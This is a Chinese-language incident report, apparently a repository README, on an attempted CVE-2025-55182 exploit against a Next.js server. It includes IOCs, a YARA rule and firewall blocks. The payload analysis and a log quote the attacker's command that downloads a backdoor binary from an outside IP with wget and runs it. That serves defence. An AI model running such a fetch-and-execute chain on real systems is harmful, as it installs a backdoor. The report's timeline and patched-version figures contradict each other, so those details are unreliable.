CVE-2025-55182 攻击分析:React 服务器组件远程代码执行
针对生产环境 Next.js 应用的真实攻击分析
📋 目录
执行摘要
2025 年 12 月 5 日,我们的生产环境 Next.js 应用遭到攻击者利用 CVE-2025-55182(React2Shell)的攻击,这是 React 服务器组件中的一个严重远程代码执行漏洞。该攻击试图在我们的服务器上下载并执行 Linux 后门木马。
| 属性 | 值 |
|---|
| CVE ID | CVE-2025-55182 |
| CVSS 评分 | 9.8(严重) |
| 攻击日期 | 2025 年 12 月 5 日 |
| 攻击结果 | ✅ 已阻止(补丁后) |
| 恶意软件类型 | Linux 后门木马 |
| 受影响技术栈 | Next.js + React 服务器组件 |
漏洞概述
什么是 CVE-2025-55182?
CVE-2025-55182,又称 "React2Shell",是一个影响 React 服务器组件(RSC)的严重远程代码执行(RCE)漏洞,涉及:
- React:19.0.0 - 19.2.1 版本
- Next.js:15.x 和 16.x 版本(补丁发布前)
根本原因
该漏洞存在于 React 的 Flight Server 中的 renderToReadableStream() 函数内。在处理特制的 RSC 载荷时,服务器未能正确清理某些输入,从而导致任意代码执行。
攻击向量
Attacker → Malicious RSC Payload → Flight Server → eval() → RCE
攻击者发送一个带有恶意序列化载荷的特制 POST 请求,该载荷会被反序列化并在服务器上执行。
攻击时间线
阶段 1:初始利用尝试(补丁前)
| 时间戳(UTC) | 事件 |
|---|
| Dec 5, 06:20 | 通过 Sentry 检测到首次攻击 |
| Dec 5, 06:20 | 载荷尝试执行 shell 命令 |
| Dec 5, 06:20 | 攻击部分成功(补丁前) |
Sentry 错误日志(补丁前):
Error: root
at eval (eval at <anonymous>, <anonymous>:3:6)
at nk (chunk.js)
at JSON.parse (<anonymous>)
at n5 (/app/node_modules/next/dist/server/app-render.js)
阶段 2:补丁部署
| 时间戳 | 操作 |
|---|
| Dec 4, 14:13 | 升级到 Next.js 16.0.7 |
| Dec 4, 14:13 | 部署修复版本(v1.0.0-beta-4) |
阶段 3:补丁后攻击被阻止
| 时间戳(UTC) | 事件 |
|---|
| Dec 5, 08:48 | 检测到攻击尝试 |
| Dec 5, 08:48 | 载荷执行已被阻止 |
| Dec 5, 08:48 | 错误:syntax error: unexpected ";" |
Sentry 错误日志(补丁后):
Error: Command failed: wget http://45.76.155.14/vim -O /tmp/vim ;
chmod +x /tmp/vim ; nohup /tmp/vim > /dev/null 2>&1 & ; rm -f /tmp/vim
/bin/sh: syntax error: unexpected ";"
补丁成功阻止了恶意命令的执行。
技术分析
攻击请求详情
| 属性 | 值 |
|---|
| 目标 URL | https://[REDACTED]/ |
| 方法 |
载荷分析
攻击者试图执行以下命令链:
wget http://45.76.155.14/vim -O /tmp/vim ; \
chmod +x /tmp/vim ; \
nohup /tmp/vim > /dev/null 2>&1 & ; \
rm -f /tmp/vim
分解说明:
服务器环境
| 组件 | 版本 |
|---|
| 操作系统 | Alpine Linux 3.23.0 |
| 运行时 | Node.js v20.19.6 |
| 框架 | Next.js 16.0.7(已修补) |
| 容器 |
恶意软件分析
文件信息
VirusTotal 结果
检出率: 13/72(18%)
VirusTotal 链接: 查看分析
二进制分析
ELF 文件头:
00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000 .ELF............
00000010: 0200 3e00 0100 0000 60e7 4500 0000 0000 ..>.....`.E.....
识别出的能力:
提取的字符串(相关):
crypto/aes
crypto/tls
net/http
socks5
vendor/golang.org/x/crypto/chacha20poly1305
vendor/golang.org/x/net/http2/hpack
触发的 IDS 规则
| 严重性 | 规则 | 来源 |
|---|
| 低 | ET POLICY HTTP traffic on port 443 (POST) | Proofpoint ET Open |
| 低 | ET DNS Query for .cc TLD | Proofpoint ET Open |
恶意软件分类
类型: Linux 后门木马
能力:
- 远程 shell 访问
- 命令与控制(C2)通信
- 文件上传/下载
- 加密通信
- 通过 SOCKS5 进行流量隧道
- 持久化机制
失陷指标(IOCs)
网络 IOC
文件 IOC
行为 IOC
YARA 规则
rule CVE_2025_55182_Backdoor {
meta:
description = "Detects backdoor distributed via CVE-2025-55182"
author = "Security Researcher"
date = "2025-12-05"
hash = "0f0f9c339fcc267ec3d560c7168c56f607232cbeb158cb02a0818720a54e72ce"
strings:
$elf = { 7F 45 4C 46 }
$go1 = "vendor/golang.org/x/crypto" ascii
$go2 = "vendor/golang.org/x/net" ascii
$net1 = "net/http" ascii
$net2 = "socks5" ascii
$crypto1 = "crypto/tls" ascii
$crypto2 = "chacha20poly1305" ascii
condition:
$elf at 0 and
(2 of ($go*)) and
(1 of ($net*)) and
(1 of ($crypto*))
}
缓解措施与响应
已采取的紧急措施
滥用报告
我们于 2025 年 12 月 5 日向 Vultr(C2 服务器的托管服务商)提交了滥用报告,内容包括:
- 恶意 IP 地址和 URL
- 恶意软件的 SHA256 哈希
- VirusTotal 分析链接
- 攻击向量描述(CVE-2025-55182)
已修补版本
| 软件包 | 受影响版本 | 修复版本 |
|---|
| Next.js | < 15.3.3, < 16.0.5 | ≥ 15.3.3, ≥ 16.0.5 |
| React | 19.0.0 - 19.1.0 | ≥ 19.2.1(2025 年 6 月及之后) |
建议的缓解措施
1. 立即升级:
2. 阻止恶意 IP:
# iptables
sudo iptables -A INPUT -s 45.76.155.14 -j DROP
sudo iptables -A OUTPUT -d 45.76.155.14 -j DROP
# UFW
sudo ufw deny from 45.76.155.14
sudo ufw deny to 45.76.155.14
3. 监控 IOC:
# Check for suspicious files
find /tmp -type f -executable 2>/dev/null
# Check for suspicious processes
ps aux | grep -E "(vim|/tmp/)"
# Check network connections
netstat -an | grep "45.76.155.14"
4. 轮换所有密钥:
经验教训
做得好的方面
- Sentry 监控立即捕获了攻击
- 快速部署补丁,在 CVE 披露后数小时内完成
- Docker 容器化限制了爆炸半径
- 补丁后防护成功阻止了后续攻击
可以改进的方面
- 更快的补丁部署 - 缩短 CVE 披露与修补之间的时间
- WAF 规则 - 添加用于检测 RSC 利用尝试的规则
- 出站过滤 - 阻止到未知 IP 的出站连接
- 自动化告警 - 针对可疑 shell 命令设置告警
安全建议
参考资料
官方公告
分析资源
使用的工具
免责声明
本文档仅供教育和防御目的发布。本仓库不包含恶意软件二进制文件。安全研究人员可使用提供的 SHA256 哈希通过 VirusTotal 获取样本。
作者
发布于: 2025 年 12 月 5 日
联系方式: [您的联系信息或 GitHub 个人资料]
许可证
本分析依据 CC BY 4.0 许可发布。您可以自由分享和改编本材料,但需注明适当出处。
更新日志
| 日期 | 版本 | 变更内容 |
|---|
| 2025-12-05 | 1.0 | 首次发布 |